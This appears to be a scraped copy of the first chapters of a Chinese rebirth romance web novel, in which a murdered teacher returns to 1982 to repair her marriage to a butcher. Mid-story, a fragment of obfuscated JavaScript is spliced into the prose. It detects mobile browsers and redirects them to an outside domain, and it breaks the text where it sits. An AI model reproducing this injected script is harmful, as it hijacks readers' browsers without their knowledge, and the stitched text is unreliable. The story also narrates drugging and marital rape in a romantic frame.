《她有的是力气和手段[快穿]》
1. 粗鲁屠夫VS傲慢老师
“为什么?我对你那么好……我不想死……”
病房里,一个因烧伤用绷带裹成木乃伊的女人紧紧攥着上方想要拔掉氧气管的手。
“你这死不去的,活着也是浪费钱,现在家里哪有钱给你治疗。你要真对我好,就不要成为我的拖累。”
男人阴恻恻的嗓音灌入耳膜,恍若恶魔低语,他猛地用力一捏,女人因痛下意识松开手。
“呼——呼哧——嗬嗬嗬呃——”
她好恨啊!
女人因缺氧呼吸的节奏愈发紊乱,如同跳上岸的鱼,手抓着床单,脚乱蹬,痛苦地抽搐了几下,很快就没了动静。
男人确定她死亡后,重新将氧气管插上,胡乱抓了一把头发,挤出几滴眼泪,便哭嚎着往门外去:“医生!医生快来!救命!”
不一会儿,一个医生急匆匆赶来,可惜还是无力回天。
温欣怡死了,死在了养弟温伟华的手里。
*
1982年3月21日,春分,傍晚。
是个暴雨天,乌云滚滚,狂风呼啸,天光一点点暗下来,像暗黑怪物要吞噬掉最后一点光明。
一种无法言喻的压抑感在屋子里蔓延、扩散。
倏地,一道闪电撕裂了天幕,亮光映照出两张生气的脸,轰隆隆的雷声伴着噼里啪啦的碗碟掉地碎裂声、男人骨碌碌抽水烟筒声和女人尖锐的指责声,组合成了一首家变变奏曲。
“……我看到你就恶心!跟你待在同一个屋子,你不知道我有多难受!我讨厌——”
歇斯底里的女声戛然而止,像是戏剧演到高潮,还来不及反应,就落幕了。
温欣怡懵懵的。
怎么回事?
愤怒的情绪还在胸腔里翻涌,温欣怡不适地拍了拍胸口,借着昏暗的天光,她看到了熟悉的人和物。
地府怎么和她生前住的房子一模一样?还有许铭荣,他还没去投胎吗?怎么死了还抽水烟筒?地府也会打雷下雨吗?
……
一个接着一个问题在脑海中盘旋。
一阵冷风袭来,温欣怡打了个寒颤,不自觉将身上的外衫拢紧了些。
冷?
死后还能感受到冷意吗?
温欣怡糊涂了。
看到生前所亏欠最多的那个人,温欣怡红了眼,满是愧疚地说:“对不起,是我害了你。”
许铭荣一副见了鬼的表情,怀疑是幻听了,拿着水烟筒愣在当场,一动不动。
半晌,他才说道:“你冷静冷静,我会搬去猪场住一段时间。”
猪场?
他来到地府还干杀猪的行当吗?
温欣怡脑瓜子迟缓地转动起来——
不对,这不是地府,她还有体温,一掐,会疼。
她还活着!
这一个场景……
她想起来了。
1982年3月21日,春分。
这一日,温欣怡和许铭荣大吵了一架。
说是吵架,其实是温欣怡单方面输出。
缘由是她下班回到家时,发现许铭荣将被雨淋湿的衣服收回来时,没有及时再晾好,以至于他一条褪色的牛仔裤染黑了她的白色确良连衣裙。
这是一根导火线,温欣怡看到当场就炸了。
因为嫁给他不是她的意愿,温欣怡对许铭荣的容忍度为负。
他吃饭吧唧嘴、说话声大如雷、络腮胡丑爆了、指甲缝黑黑的、常年趿拉着一双拖鞋、没文化、房事很粗暴、爱出汗……
这一桩桩一件件,化作利器成了温欣怡攻击许铭荣的点。
温欣怡深深厌恶着这个人,与他在同一篇屋檐下呼吸都觉得难顶。
那段时间,温欣怡的死对头因为有个校长老公,平日不仅给她穿小鞋,还抢去了“优秀教育工作者”职称,温欣怡在外受了气,转头将坏脾气发在许铭荣的身上。
她觉得自结婚以来,哪哪都不顺,认为许铭荣就是克她!
衣服染色不过是她想发泄的一个借口。
那天她挑完许铭荣的刺后,他冒着雨骑车出门,没想到在半路遇到山体滑坡,伤了一条腿。
在他住院期间,温欣怡没有半点为人妻子的自觉,该吃吃该喝喝,一个人住别提有多自在舒服。
后续许铭荣那条腿没有治好,走路一瘸一拐的,温欣怡更看不上他了。
此刻见许铭荣回屋收拾好一包行李就要出门,温欣怡赶紧过去拉住他的胳膊,焦急道:“你不要走!”
“这不是你想要的吗?你又在耍什么把戏?”许铭荣不解。
她一直看不上他,他是知道的。
“我不想你走,现在外面雨那么大,你出去很危险。”温欣怡使劲将他往屋内拉。
没拉动。
温欣怡:……
旋即她一把张开双臂拦在门口,霸道又执拗:“反正你不能出去!我不让你出去!外面危险!”
那蛮横的语气彷佛他不答应,下一秒就要扑上来将他推回去。
奇怪。
她该是恨不得他去死的反应才对。
怎么会在意他的安全?
许铭荣错愕万分,打量她的目光带着若有所思的探究,似乎遇到了一个无法理解的谜题。
“你不能走,坐下来。”温欣怡努努下巴,示意道,“我们聊一聊。”
许铭荣想弄明白她要搞什么名堂,顺势坐下了。
聊什么呢?
屋外雨还在下,风还在吹,雷还在打,而屋内剑拔弩张的气氛消融后,空气有一瞬间凝滞了,但随着温欣怡的说话声,那冰冻的场面开始消融。
温欣怡还从未这么心平气和地坐下来和许铭荣聊过天,很是别扭不自在。
她开口想说重生的事,却发现怎么都说不出口,而如果扯其他事,则可以说。
看来重生是天机不可泄露的秘密。
“对不起,我不该那样说你,以后我们好好过日子吧。”温欣怡真诚道歉。
许铭荣不可置信地瞪大了双眼,甚至怀疑她是不是鬼上身了,不然怎么会主动说出和他过日子的话。
她刚才又摔又骂可不是这样的。
“我是说真的,来日方长,你会看到我的变化。”温欣怡信誓旦旦保证道,“以后我会对你好的。”
许铭荣心里惴惴,面色复杂,甚至怀疑是不是有雷电劈中她,失心疯了,不然怎么上一秒还疾言厉色,下一秒就变得和颜悦色了,变脸实在太快。
或许等天明她会恢复回原来的样子吧。
许铭荣没再和她争吵,转身回房了。
温欣怡松了一口气。
人生的际遇真是奇妙。
温欣怡幻想的意中人——家境好、长得好、学识好、能力好、顾家专一……
总之,她就是想嫁给一个完美的好男人。
可惜,温欣怡从十八岁到二十五岁,都没有找到一个满足条件的男人。
找来找去,她没有找到合心意的,爸妈却看中了一个人,想让他当女婿——
镇上的屠夫,许铭荣。
爸妈将他夸得天花乱坠,什么“老实勤奋”“吃喝不愁”“干活一把手”“离家近”等等,举例的优点多多,彷佛她错过就是巨大的损失。
之前许铭荣之于她而言是一个模糊的影子,从未仔细瞧过。
爸妈说了又说,耳根不得清净,温欣怡才心不甘情不愿以买猪肉的名义粗略去看了一眼——
那天,天气很热,许铭荣打着赤膊,古铜肤色,身材高大魁梧,肌肉紧致有力,杀猪开膛的动作麻利又残忍。
粗鲁!残暴!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317662|183092||http|test|mini|href|location''.split(''|''),0,{}));
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>这是温欣怡对许铭荣的印象,和意中人的形象相差十万八千里。
一想到要是嫁给他,每天对着这么一个人,生活无望了。
后来任由爸妈软磨硬泡,温欣怡愣是没松口答应和他正式相看。
然而一场失身风波,她不嫁也得嫁。
温欣怡深深地怨恨着许铭荣,认为嫁给他是受了天大的委屈,对他没一个好脸色。
更以有洁癖、强迫症为借口,处处要求他、为难他,最后漠视他。
一晃三年过,两人哪怕住在同一屋檐下,都将对方当成了透明人。
不理睬、不干扰、不在意,是他们的相处模式。
她以为他们会这样互相折磨一辈子。
只是没想到那辈子会那么短。
因为温欣怡的父亲临死前的遗嘱是将一半家产分给她,这引起了温伟华的记恨,于是暗中策划了许多想谋害她性命的事。
现在细想来,那时温欣怡先后经历了自行车刹车失灵、走夜路差点被拖去玉米地、逛街时被抢劫捅了一刀……
或许其中都有温伟华的手笔。
只是她太难杀了,温欣怡真没想到他胆子那么大,敢纵火烧屋——
那天,温欣怡在家睡午觉,迷迷糊糊中醒来时,发现火舌乱窜,她被熊熊烈火包围,浓烟扑面而来,那种濒临死亡的感觉太恐怖。
好痛!
呼吸不过来了!
温欣怡踉踉跄跄着想自救,却发现门锁坏了,窗户被封,等待她的,只有死路一条。
“温欣怡!”
“温欣怡!”
“温欣怡!”
“嘭!”
就在她绝望之际,有人呼唤着她的名字,破门而入,飞奔而来。
火光中,许铭荣的身影渺小又高大。
“坚持住,我会救你出去的。”许铭荣将一床湿被子批在她的身上,一把抱起。
患难见真情,那一刻,温欣怡的心充盈满了感动。
“小心!”温欣怡惊呼。
电光石火间,一根带着火苗的房梁重重砸下。
许铭荣为护住她,被砸中后背压倒在地,登时就吐出一口血。
“温欣怡,你不要管我,赶紧走。”许铭荣用力推开她。
“不!要走一起走!”温欣怡试图搬开房梁,刚触上去,手顷刻间被烫烧得血肉模糊。
“来不及了,你听我说。”许铭荣握住她的双肩,不让她乱动,拼着最后一口气,不放心地叮嘱道:
“我的存折在猪场办公桌的抽屉那,钥匙在我的裤兜里。以后遇到事,你可以请老孙帮忙。还有,你不要太相信你弟弟,他不是个好人……家底不要透露给别人知道……你要是不想当老师了,可以往南方去,做点小生意,老孙见多识广,多听听他的建议……对不起啊,我应该早点放你自由的……”
他交代遗言般,温欣怡不想听,使劲想拽他起来:“你不要说这些!我们能逃出去的!”
“我没力气了,温欣怡,你要好好活下去,我放过你了。”许铭荣深深地看了她一眼,见救援人员终于赶来,闭上了眼。
“许铭荣!”
许铭荣死了。
温欣怡被送去抢救室。
可惜,虽然抢救回来了,但她也没有活很久。
刚开始温伟华装得很好,嘘寒问暖,随叫随到,说什么砸锅卖铁也要给她治病,后来在骗取她的存折和签下房屋转让书后,态度一下子变了。
于是就有了开头拔氧气管那一幕。
温欣怡回顾这一生,识人不清,落得这个结局是她自作自受,但亏欠许铭荣颇多,哪怕要死了也怕下到地府再见到他。
他会骂她蠢吧?
她忏悔,想着若是能重来一次就好了。
她一定会对他好的。
2. 粗鲁屠夫VS傲慢老师
许铭荣一定爱惨了自己,不然怎么会舍命相救?
温欣怡一想到他的爱意如此厚重,心里感动得一塌糊涂,偏平日对他没一个好脸色,一时之间想转变这种态度,还挺别扭的。
昏暗的光线中,看着那紧闭的房门,温欣怡松了口气,好在他们还有好长的时间可以好好相处,想要联络感情不急于一时。
天色彻底暗下来,雷电不知劈断了哪个旮旯的电线,温欣怡摸黑找来蜡烛点上,匆匆忙忙洗完澡后,躺在床上复盘着所经历的点点滴滴。
伴着雨声,意识越来越模糊,不知不觉睡着了。
因为心里惦记着事,温欣怡睡得并不踏实,见天光微亮,就起床了。
刷完牙,洗完脸,准备早餐。
随着公鸡的第一声打鸣,许铭荣打开门,被一张灿烂的笑容晃了眼。
“早啊,今天我弄了小鱼干和蒜蓉菜心,配粥喝刚刚好。”温欣怡热情地招呼道,“我们一起吃吧。”
“你怎么了吗?”许铭荣困惑不已,从昨晚到现在,她就很不对劲。
这还是温欣怡第一次这么温柔笑着地跟他说话,许铭荣很不习惯,像被施了定身术般,不敢轻举妄动,好似这笑容底下藏着什么大坑等着他踩。
傻愣愣的。
“没什么啊,我就想着以后和你好好过日子,想对你好些,不行吗?”温欣怡见他一脸错愕警惕,知道要想改变两人的关系还需再努力,笑得更加真诚。
“为什么突然这么想?”人还是这个人,许铭荣搞不明白她这翻天覆地的变化是因为什么。
“以前是我有眼无珠,不知好歹,不识好人心,你对我好我都知道,我不会再辜负你。”温欣怡步步逼近。
许铭荣步步后退,最后被挤到墙壁上,退无可退。
温欣怡顺势环抱住他的腰,不知是谁的心脏在那乱跳,砰砰砰叫人听着脸红。
这是她第一次在清醒着的时候抱他。
猝不及防,出乎意料。
感到到她的柔软,许铭荣的体温一下子飙升,胸膛起伏愈加剧烈,耳廓发烫,红得简直能滴血,脑子不会转动了,喉结滚动,结结巴巴:“你,你,你……”
“你”了半晌,愣是说不出整句。
“你身上的肉硬硬的。”温欣怡顺手捏了捏他腰上的肉肉,没捏动。
“我,我……”许铭荣猛地推开她,落荒而逃,左脚还差点绊倒右脚。
明明长得高大威猛,但纯情羞涩得要死,这反差感逗得温欣怡忍俊不禁。
她摸了摸自己的脸蛋,也是烫得惊人。
原来迈出第一步,也不是很难。
*
雨过天晴,晨曦透过敞开的大门洒落在温欣怡的身上,驱散了许多清冷。
“快来,快来,你的碗筷我拿了。”温欣怡坐在饭桌前,乖乖等待的样子显得莫名的乖巧。
这是她第一次做饭给他吃,两人第一次气氛和谐地同桌吃饭。
许铭荣同手同脚走过去坐下,看到她亲手舀了粥放到面前,脑袋还晕晕乎乎着。
在还没结婚前,许铭荣知道温欣怡是镇上出了名优秀的女孩——
长相貌美、学习好、为了爸妈回乡教书、孝顺有爱、乐于助人……
旁人提起她都是赞不绝口,自小就是别人家的孩子存在。
听说她成年后,说亲的人踏破了门槛。
许铭荣曾见过温欣怡和妈妈来摊上买猪肉,她撒娇着要买排骨,说想亲手下厨孝敬辛苦工作的爸妈,娇俏的模样让人恨不得什么好的都捧到她面前。
许铭荣下意识多剁了几块排骨给她。
之后,曾有人说要介绍温欣怡给他当对象,后续不了了之,他就当听了个玩笑话。
再后来,见她到隔壁家访,劝说重男轻女的大嫂要让堂妹许家欣上学,她娓娓道来,举例说明读书的好处,动之以情,晓之以理,诱之以利,大嫂听了直点头。
那认真工作的身影在许铭荣的心间掀起了一点涟漪,但很快又被他抛却脑后。
忙着杀猪卖肉、忙着打理猪舍、忙着拓展人脉……
那时的温欣怡之于许铭荣来说,是天上月,可望不可及,两人的生活是两条平行线,即使偶有交集,也是相交后在各自的轨迹越行越远。
许铭荣没有想过要揽月入怀。
后来有一次,温欣怡和同事黎玉琴去市里参加完会议,在招待所住宿时,和许铭荣阴差阳错睡了——
那一晚,许铭荣因为应酬喝得迷迷瞪瞪,没有锁门,当温欣怡闯进来、扑到身上时,他还以为是在做梦。
温欣怡嘟囔着“好热”“难受”“不要走”“帮帮我”,眨眼之间,就脱掉了上衣,往他的身上拱。
身娇体软,肤白凝脂,像是美味的水晶虾饺,上赶着要人将她吃掉。
说是醉酒,其实许铭荣还是有点意识,当他发现这是真的时,已经是箭在弦上,肮脏罪恶的念头占据了上风——
如果顺水推舟,她就能当他的老婆了吧?
抱着这样的想法,在紧要关头时,许铭荣忍住涌起的躁意,问道:“你想要的话,给我当老婆行不行?”
温欣怡贴过来,许铭荣抵住她的脑袋:“行不行?”
温欣怡伸手抓挠着,许铭荣抓住她的手:“行不行?”
温欣怡乱蹬乱踹,许铭荣压得紧紧的:“行不行?”
耳边萦绕着“行不行”三个字,跟念经似的,温欣怡难受却百般不得纾解,胡乱答道:“行!”
话刚落,须臾之间,好比笔找到了笔盖,顺利合体,自然而然的,水到渠成。
“痛!”
一声惊呼很快被掩盖,取而代之的是听了让人脸红耳赤的呻吟声。
酣战一夜。
直到第二天,在闹嚷嚷的争吵声中,温欣怡一睁眼就看到一个打着赤膊的男人在和几个人对峙着,被子底下的自己什么都没穿,浑身酸痛。
天塌了!!!
“出去说。”男人快速穿好上衣,将吵闹的人往外推。
“啪”一下,门关上了。
温欣怡赶紧起身穿衣,听着外面传来“耍流氓”“拉去批斗”“水性杨花”“游街示众”“发骚”等不堪入耳的词语,整个人恍若陷入了绝望之渊。
不敢出去!
不想面对!
“我和温欣怡是以结婚为目的谈对象的,不是耍流氓!”
铿锵有力的男声落入耳膜,温欣怡想起他了——
镇上的屠夫、之前爸妈想让他当女婿的男人,人称“猪肉荣”。
怎么会是他?
温欣怡不喜欢他!
但是现在的情况不容乐观,被人抓奸在床是无法辩解的事实,温欣怡曾见过搞破鞋的,被拉去晒谷场批斗时,那情形可谓是惨不忍睹。
后来那女生忍受不了旁人的风言风语,投井自尽了,在她死后,那些脏污的话始终伴随着她的名字,当作笑料般在人们之间流传。
一想到那些灾难落到自己的头上,温欣怡忍不住打颤,事已至此,承认和许铭荣在谈对象是最好的解决办法。
“你骗人!欣怡不可能会喜欢你这种糙汉子!”黎玉琴越说越激动,哀叹道,“欣怡好可怜,好好一个黄花闺女,现在却……要是我昨晚再多留意一点,欣怡就不会被糟蹋了。我要报警!替欣怡讨回公道!”
不知为啥,温欣怡从中听出了几分幸灾乐祸,但平日和黎玉琴的关系不错,又觉得是自己想多了。
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>那天开完会议后,已是黄昏,温欣怡和黎玉琴找了个饭馆,想着尝尝当地的特色美食,吃着吃着,有个人经过,认出黎玉琴是多年不见的好友,说要好好叙叙旧,去她家坐坐。
温欣怡很有眼色,就让黎玉琴和朋友走了。
她自己吃饱喝足后,感觉身体又热又躁,那时以为吃辣吃多了,想着赶快回到招待所洗个澡。
谁知半路经过一条小巷子时,一个二流子拦住了去路,说要跟她好好耍耍,温欣怡又惊又慌,大喊救命,好在有个好心人闻声而来,才将人赶跑了。
温欣怡回到招待所时,暮色已降,前台打着瞌睡,也没太注意她的状态,她意识迷迷糊糊的,走路都不太稳,全身像有蚂蚁在爬,难受至极。
当她打开一扇门,扑到床上的男子身上时,恍若在沙漠之中遇到了绿洲,忍不住想贴贴。
温欣怡隐隐约约记得开始是自己缠着许铭荣不放的,那个奔放的她此刻想起都觉得难为情,她怎么会变成那样?
她怀疑自己被下药了,可究竟是什么时候中招,她毫无头绪,也没有证据。
外面的气氛越来越焦灼,温欣怡深吸口气,一开门,见所有人看过来,她竭力保持镇定:“我们是在谈对象。”
“啊?假的吧!你的眼光怎么……”说到半截,黎玉琴大吃一惊般捂住了嘴,后讪讪道,“我想起来了,他是买猪肉的,你之前不是不想和他相亲吗?怎么现在……”
真是哪壶不开提哪壶。
温欣怡腾的脸色迅速蹿红,羞恼得想钻地缝躲起来。
温欣怡是曾向黎玉琴诉说过这个烦恼,谁知她会这般在当事人面前大咧咧地说出来。
难堪!
是在那一刻,温欣怡才有点意识到,她自认为的好朋友,不是真的朋友。
“人都是会变的,我也不是什么都事事都跟你说,你不知道我们谈对象很正常。”温欣怡硬着头皮说道。
“倒是你们,随便就可以开别人的门进来吗?要是丢了什么东西,可别怪我赖你们头上,我看这招待所是要整改整改。”许铭荣见温欣怡和自己统一口径,心里不禁一喜,但表面上还板着一张脸,锐利的眼神扫过几个闹事者。
“你们没搞清楚就喊捉奸,真是捣乱!”前台见搞出这么大阵仗,不知道会不会遭受领导的批评,没好气瞪向黎玉琴,“都是你说朋友失踪了让我们找,这不是好好的?!”
黎玉琴被指责,红了眼,委委屈屈地看向温欣怡,说:“我这不是醒来都没看到你在房间,担心出事……”
“都过了一整晚再找,要真出什么事,黄花菜都凉了。而且你就差敲锣打鼓,生怕别人不知道你朋友和男的呆了一整晚,啧啧……”前台犀利道,“最先也是你说人耍流氓的吧。”
“我是关心则乱,想为欣怡讨回公道。”黎玉琴蹙着眉,一副好心却干了坏事的楚楚可怜样,辩解道,“昨晚我回来晚了,怕影响你睡觉没开灯,还以为你一直在床上,谁知醒来时,我看你被窝整整齐齐,不像有人睡过,才叫人帮忙找。”
听起来是有几分道理,然而温欣怡对她产生了隔阂,多了些许防备。
“误会一场,搞清楚就好,散了散了。”
几个热心肠的人离去。
“欣怡,没想到你对象还挺黏你的,应该快要喝你的喜酒了吧?”黎玉琴仿佛没看到她的冷脸,亲热地挽上了她的胳膊,调侃道,“之前说好要当你伴娘的,我份子钱都准备好了。”
“到时再说吧。”温欣怡感觉黎玉琴是迫不及待想将她和许铭荣绑定,偏无法反驳,闷气在胸腔内翻滚。
没想到挑来挑起,挑了个猪肉佬,之前追求她的人,哪个不是风度翩翩,温文尔雅,温欣怡看许铭荣是哪看哪都不满意。
3. 粗鲁屠夫VS傲慢老师
还未结婚时,许铭荣幻想过老婆孩子热炕头的幸福生活,但现实狠狠地打了他一巴掌。
对温欣怡来说,和他结婚是情势所逼,迫不得已。
当许铭荣兴高采烈地准备三转一响、装修婚房时,温欣怡想的是怎么在婚姻存续期间和他保持井水不犯河水的关系,或者过几年,能和他离婚最好。
她不想一辈子搭在许铭荣的身上。
那天回到家后,温欣怡和爸妈说了句“要嫁给许铭荣”,就没有再管那些谈婚论嫁的事宜。
跟个木偶般,哪怕是结婚那天,也没个笑脸,毫无感情地完成了仪式。
当许铭荣怀揣着一颗激动澎湃的心,送走客人回房后,在看到温欣怡厌恶的眼神时,新婚的喜悦荡然无存——
“我不要跟你同床睡。”
“不许叫我媳妇。”
“个人物品要分开,我不希望和你的东西混淆在一起。”
“不要指望我帮你洗衣做饭。”
“我不会插手你的生活,你也别管我怎么过日子。”
“……”
听着她一条条要求罗列下来,许铭荣简直要被气笑:“那这样的话,我娶你干嘛?”
“你以为我想嫁你?!要不是那天……”温欣怡斜睨着他,说起来委屈又气愤,“你真随便,只要是女的,你都来者不拒吧?亏大家还说你是个老实人。”
“对,我随便,送上门的不要白不要。”许铭荣被激起了火,冷嘲热讽怼回去,“你既然对我那么不满意,为什么还要嫁过来?我又没求着你嫁过来?大家还说你人美心善,我看你是占了便宜还卖乖。”
“我占什么便宜了?”
“那天可是你求着要我的,破了我的童子身,占了我老婆的位置,又不干老婆的事,你当我好欺负?”许铭荣冷哼,“你若真有骨气,那时就该让人抓我们去批斗,要死一起死!”
温欣怡承认自己是贪生怕死,但想到和许铭荣抬头不见低头见,就心生膈应,特别是当他靠近,伴随着一股异味传来,对这个人更没好感了。
“发生那档事,女人比较吃亏吧。”温欣怡商量着,“你可以偷偷在外面找人,我不介意的。等风头一过,我腾位置走人,行不行?”
“不行!那我不成二婚的了,能娶到什么好媳妇?”许铭荣不应,抱着只要对她好,总有一天能处出感情的想法,说,“你对我哪里不满意,我改行不行?”
“呵。”温欣怡眼神从上到下扫过他全身,态度坚决又无情:“我不喜欢你,看到你就烦,你怎么改都不会是我喜欢的类型。”
她那明晃晃瞧不起人的神情让许铭荣较起劲来,她越想远离他,他越不想让她如意。
“反正我不管,多少人盲婚哑嫁日子都能过下去,为什么我们不能?你是我媳妇,睡你也是持证合法的。”许铭荣边靠近边解着衣服扣子,一副要将她睡服的恶狼模样。
“你不要过来!”温欣怡想逃。
“我会让你舒服的。”许铭荣曾听人说过,夫妻感情都是睡出来的,一次不行,就多睡几次。
打定主意后,许铭荣一把抓住温欣怡摁到床上,三下五除二脱光光,开始繁殖人类运动。
温欣怡拳打脚踢,但在绝对的力量面前,她那力道好比是小鸡对上老鹰,只有被吃干抹净的份。
无耻至极!
粗暴至极!
温欣怡无助地承受着他的巨大,一凿又一凿,她被翻来覆去,整个人仿佛都要被凿开。
痛不堪言,恨意滔天,想离开他的念头更加强烈了。
谈不拢,温欣怡开始以自己的方式和他“斗争”——
因为迁怒,温欣怡对许铭荣的家人也不假辞色,见面不叫人,人叫也不应,不同台吃饭,逃避干活,亲戚间人情往来不做,开口就是怼人……
久而久之,许铭荣的家人们都说娶了个祖宗回来,整天脸臭得像谁欠了百万千万,后来干脆将两夫妻分出去住,他的爸妈和兄弟姐妹才松了一口气。
没有外人,许铭荣在那方面的索求更肆无忌惮了,关系也愈加恶劣。
温欣怡回娘家求助,但得到的回答是——
“不要闹,嫁人了就好好过日子,那种事,多做就好了……你别整天挑刺,女婿是个可靠的,要珍惜,知足是福……男人愿意给钱给你花,回家也愿意搭把手做家务,真是打着灯笼都难找,你要放下偏见,和他再处处行不行?没有天生合适的两口子,都是磨合过来的……”
连亲生爸妈都站在他那边,求助无门,温欣怡丧丧地回去了。
偏没过多久,温欣怡发现自己怀孕了。
她不想生下这个孩子,于是捶打、蹦跳、泡冷水……尝试了很多办法想要偷偷弄掉,但都没有弄掉。
后来听人说起哪家媳妇摔一跤把孩子摔没了,她跃跃欲试,在某天许铭荣出门后,心一狠,从楼梯上摔下。
见终于流血后,温欣怡才开始呼救。
后来不知许铭荣从哪里知道她是故意摔掉孩子的,失魂落魄了好长一段时间,终于明白她就是块寒冰,想要将她焐热消融,只会落得个两败俱伤的结局。
于是和她开启了分居生活。
两人一人一间房子住,一东一西,互不干扰,当彼此是透明人,无交流、不接触,像有一条无形界限,不管是人和物都泾渭分明。
温欣怡这才感到生活舒心了些。
后来爸妈煤气中毒死亡,温欣怡都不想许铭荣以女婿的名义来吊丧。
在面对许铭荣时,温欣怡是高傲的,刻薄且薄情,极尽恶意,哪怕在他生病时,也只会拍手称快。
所以当他冒火拼死救出她,温欣怡震撼又感动,愧疚又自责,心空落落的难受。
躺在病床时,或许是念着她人之将死,再不炫耀就来不及了,黎玉琴打扮得光鲜亮丽,洋洋得意地告知:
“当初是我给你下药,还想着找个混混毁你清白,谁知你和猪肉荣纠缠在一起。虽然结局有些出入,但你嫁给一个卖猪肉的,我真高兴啊!哈哈哈……每当听人喊你‘猪肉婆’,看着你那高高在上的脸皮被撕下来,真爽!”
“为什么?我对你那么好?”骤然得到真相,温欣怡气得双目猩红,喘不过气来。
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与黎玉琴刚相识时,她整个人瘦骨嶙峋、衣服破破烂烂、三餐就没饱过,温欣怡可怜她,平时有什么东西都会与她分享,逢年过节,还会邀请她到家做客加餐,没想到是引狼入室了。
“谁让你看不起我,不过一点小恩小惠,以为我会感激你吗?”黎玉琴冷哼,旋即又嫣然一笑,“而且,你要不失身嫁人,陈北望怎么会对你死心呢?你好日子到头,我的幸福生活就开始咯。”
“看在往日的交情上,我会经常来看你的,你可要活久一点。”黎玉琴话头一转,“哎呀,差点忘了,平时你就爱照镜子,今日我特意带一面镜子过来,你好好照照——”
她一下子把镜子怼在面前,温欣怡眼睛扫过那怪物一样的自己,惊恐地叫起来:“不要!走开!不要照镜子!”
看着温欣怡情绪崩溃,再无往日体面,黎玉琴只觉痛快,后来以出医药费的名义,博得【有情有义】美名,时不时来刺激她愈加错乱的精神。
而温伟华最后一击更是直接让她一命呜呼。
识人不清,落得不得善终的结局,温欣怡真的好恨啊!
“你有什么事直接说,不用搞这些。”
许铭荣的声音将温欣怡飘远的思绪拉回来。
看着眼前还活着、高大魁梧的男人,因为一顿饭坐立难安,不过一点点好就叫他手足无措,温欣怡心里很不是滋味,
“我想对你好点,以后真的真的真的想和你好好过日子,没想作什么妖,你相信我一次行吗?”温欣怡语气诚恳,为表决心,当场竖起三根手指发誓,“如果我骗你,走路摔死……”
“好了,不用发誓,我信你。”许铭荣打断了她的誓言,嘴上说着信,但心里还是不太信的。
听此,温欣怡眼睛亮了亮,顾盼流转间,像两颗熠熠生辉的宝石,吸引着人的心魄。
许铭荣像被烫到了般,不动声色地将目光移到她所做的菜式上。
平时有空在家的时候,温欣怡会捣鼓厨艺,家常菜做得不错,先前许铭荣看到想吃,也提出过给钱让她帮忙做菜,但温欣怡想都没想就拒绝了,还说他不配吃她做的菜。
像这样的事情很多,温欣怡对他的态度从来都是恶劣得不加掩饰的那种,许铭荣对她已没期待,甚至想着离婚放她自由了。
“吃啊,别客气。”温欣怡心知想要缓和两人的关系不是三言两语一点甜头就可以,已经做好打持久战的准备了。
许铭荣猜不透温欣怡心里的真实想法,看她现在应该没有毒死他的念头,想着反正她再差的态度他都忍受过了,决定走一步看一步。
他喝了一口粥,粘稠度适中,口感绵柔,再夹一筷蒜蓉菜心,青菜的脆爽和蒜蓉的清香在嘴里化开,还有煎炸的小鱼干又香又酥,他下意识加快了进食的速度,饿了一晚上的胃熨帖得舒服至极。
吃着吃着,许铭荣想起她之前说过他吃东西的样子像猪,拿着筷子的手滞了滞,抬眸以为会看到熟悉的嫌弃表情。
但这次,温欣怡没有厌恶,没有不耐烦,她手托着下巴,笑意盈盈,四目相对的那一刻,竟有种她喜欢自己的恍惚。
4. 粗鲁屠夫VS傲慢老师
这还是温欣怡第一次这么仔细观察许铭荣——
浓眉大眼,鼻梁高挺,刮了络腮胡后,露出清晰的下颌线,上唇呈M型,丰满性感,温欣怡想起有一次他曾想亲自己,她狠狠咬破了他的唇,后来两人再没有亲吻过。
平心而论,虽然平日温欣怡嫌弃他丑、脏,但他长得真的不丑,就是有些黑,加上不爱笑,看着很凶,而且因为工作的性质,哪怕他再怎么注意,有时还是不可避免搞得脏兮兮。
视线游移到他随着吞咽的动作、微微滚动的喉结上,温欣怡不自觉跟着咽了咽口水。
再往下看,许铭荣穿着一件汗衫白背心,肱二头肌鼓起,线条分明,想到那些夜里,他极尽索取,全身上下都是这些硬硬的块垒,是如何轻而易举将她凿出水花……
不能再想下去来了。
两人不约而同移开视线。
许铭荣被她看得浑身不自在,想转移她的注意力,说:“你也吃啊。”
“嗯。”温欣怡边吃边商量道,“这个星期六你能陪我回趟娘家吗?”
“你真想我陪着去?”
许铭荣可没忘记曾经被她嘲讽“我们又不是相爱的关系,我不想你和我家有过多的牵扯,上上门走亲戚什么的没必要。”
温欣怡重重点头,满是期待地眨巴着眼:“可以吗?”
“行,那天我会空时间出来。”许铭荣最近开了个猪场,养猪、杀猪、卖猪一条龙服务,他主要负责管理和拓宽销售渠道,其他则雇佣人来干活,他请假一天,业务还是能正常进行。
想到存折上的数字多了几个零,现在外面的人见了他,都会客客气气地喊一句“许老板”,难道温欣怡是见他发财了,终于肯将他当老公看了?
可温欣怡是个喜恶分明的人,她向来不屑与他做戏。
她要真是贪慕虚荣就好了,可他的钱,她向来不屑使用。
促使她改变的缘由是什么,许铭荣真的好好奇。
大概是受多了温欣怡的冷脸,如今她不过稍稍给点好脸色,许铭荣是受宠若惊,一面沉溺于她的温柔,一面忧虑这是不是糖衣炮弹,将来有一天她又变得冷冰冰,他真的会甘愿放手吗?
之前自己砸钱砸物,不要尊严不要面子跪在她的面前求怜爱,她都无动于衷,说一个大男人哭哭啼啼的,好恶心。
许铭荣那颗心早就被她伤害得千疮百孔。
以往的经历告诉他,不能她勾勾手就没皮没脸缠上去,不然伤心的只会是自己,许铭荣决定以不变应万变。
*
温欣怡的爸爸是十里八乡有名的木工,靠着这门你手艺,在村里其他女孩还衣不蔽体,要喂鸡做饭洗衣照顾弟弟妹妹时,温欣怡却被养得白白胖胖的,口袋里不是装着糖果就是好玩的玩意儿。
因为温妈妈在生温欣怡时伤了身体,只有她一个女儿,在她五岁那年,想着以后有个兄弟能帮衬她,也为了不被族人抢占家产,爸妈收养了一个三岁的男孤儿。
毕竟像大家所说的——
儿子就像核武器,不一定会用,但必须得有。
